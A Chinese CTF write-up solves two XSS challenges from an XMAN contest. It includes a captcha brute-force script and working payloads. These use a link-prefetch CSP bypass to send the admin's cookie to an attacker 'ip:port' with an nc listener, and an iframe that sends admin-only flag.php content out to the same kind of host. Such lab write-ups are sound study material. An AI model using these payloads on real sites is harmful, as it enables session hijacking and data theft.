0x01 前言
講道理,之前每次遇到xss的題就很發(fā)憷,因為不會呀,這次XMAN個人排位賽的兩道xss賽題讓我對于xss有了更深入的認識,這里整理一下writeup
0x02 xss1
首先,進入頁面

是一個留言框,下面有一個md5后四位的校驗碼
然后寫了一個python腳本用來生成校驗碼
import hashlib
for i in range(1000000):
if hashlib.md5(str(i)).hexdigest()[:4]=='cdc1':
print i
break
留言板嘛,很容易想到是xss,先用
<script>alert(1)</script>
試了一下,果然能彈窗,xss無疑了,并且發(fā)現(xiàn)這里的我寫的語句只是單純的被輸出到了頁面里,這樣應該是一個非常簡單的xss利用了。

然后fuzz了一下,發(fā)現(xiàn)這里沒有過濾任何參數(shù),所以很適合我這種新手呀。。。。
通過抓包看到的resoponse包的header,我們能夠發(fā)現(xiàn)他的csp策略,定義了所以來源都要跟與本頁面同源,因此可以用link預加載標簽進行繞過。關于CSP的學習和繞過可以參考這篇文章http://www.itdecent.cn/p/f1de775bc43e

然后寫利用的js代碼
<script>
var i=document.createElement("link");
i.setAttribute("rel","prefetch");
i.setAttribute("href","https://ip:port/?"+document.cookie);
document.head.appendChild(i);
</script>
在我們的服務器上,要
nc -l port
在href的屬性里填寫自己的服務器的ip和端口,這段代碼的意思就是當對方admin查看我們的留言之后,就會自動的訪問我們的服務器,服務器通過監(jiān)聽端口,來得到admin的cookie值。這里在admin的cookie中得到了flag
0x03xss2
打開頁面,還是熟悉的頁面,還是熟悉的套路。不過這次更難一些。
這里還是腳本跑驗證碼,然后發(fā)送留言,burp抓包發(fā)現(xiàn)這次沒有這個CSP策略,fuzz之后發(fā)現(xiàn)他把單引號替換成了_下劃線,所以可以利用雙引號進行繞過。用上個xss的腳本打過去發(fā)現(xiàn)這次沒有返回cookie。。想到了今年國賽有道xss的題也是沒有cookie返回的題,又想到題目描述中說flag在flag.php里面,然后發(fā)現(xiàn)只有管理員才能訪問flag.php,那么就很明顯了,讓admin用iframe打開一個flag.php的子窗口,然后子窗口中鏈接到我的服務器,這樣就能將消息帶給我了,我就能收到flag了。
<iframe id="test" src="http://202.112.51.217:43424/flag.php(這里是flag所在)" onload="test()"></iframe>
<script>
function test(){
parent.window["location"].href="http://ip:port/?"+escape(document.getElementById("test").contentWindow.document.documentElement.outerHTML )
}
</script>
然后得到flag